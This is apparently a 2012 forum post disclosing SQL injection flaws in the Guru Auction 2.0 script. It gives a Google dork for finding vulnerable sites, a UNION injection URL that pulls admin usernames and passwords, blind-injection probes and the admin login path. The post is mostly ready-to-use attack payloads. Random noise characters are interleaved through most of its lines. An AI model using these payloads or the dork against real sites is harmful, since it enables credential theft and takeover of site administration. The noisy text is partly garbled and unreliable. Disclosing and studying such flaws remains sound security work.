Guru Auction 2.0 Multiple SQL Injection Vulnerabilities
& @9 \- V9 p0 j7 Q. Q& D; b% Q! E. L3 \ U8 @$ L* j, ~
作者 : v3n0m
9 R3 t1 M. ?. J应用 : Guru Auction 2.05 T1 j# @8 j- j% G" t9 }( d1 ~3 {( X
Price : $49" T& d( w3 J# j& C
Vendor : http://www.guruscript.com/- Z% Q3 B0 s! N5 d) C
Google Dork : inurl:subcat.php?cate_id=( `5 X( | h& c& D3 E) g1 p' W1 {
: ]/ B+ }1 t- M8 O4 n+ [+ u
SQLi p0c:
% z* v1 M! c, r5 g2 T' q4 R~~~~~~~~~~1 H1 s' `& @; s+ f t
http://domain.tld/[path]/subcat.php?cate_id=-9999+union+all+select+null,group_concat(user_name,char(58),password),null+from+admin--
% `' V* g' h$ D; \( _/ E- L$ x 0 C1 E( S8 n$ K m
! o( `; J$ v+ p盲注 p0c:* R2 C4 e' C6 r5 I
~~~~~~~~~~* z& I/ ^9 G( O( Q
http://www.political-security.com /[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=5 << true
% y* G. t2 {6 Hhttp://domain.tld/[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=4 << false
& W% e# k! L3 D) X( L) t 1 h! {7 S+ x9 v- b: V$ T
管理登录入口:! ~+ i- ^9 m0 w$ w- y0 T/ U. k
~~~~~~~~~~
' `6 M- x; Y7 n. c3 F4 L7 T8 C( {% Q0 Mhttp://domain.tld/[path]/admin/
8 U) z+ E( a C/ p) ^ V |
发表于 2012-12-31 09:24:05
收藏
支持
反对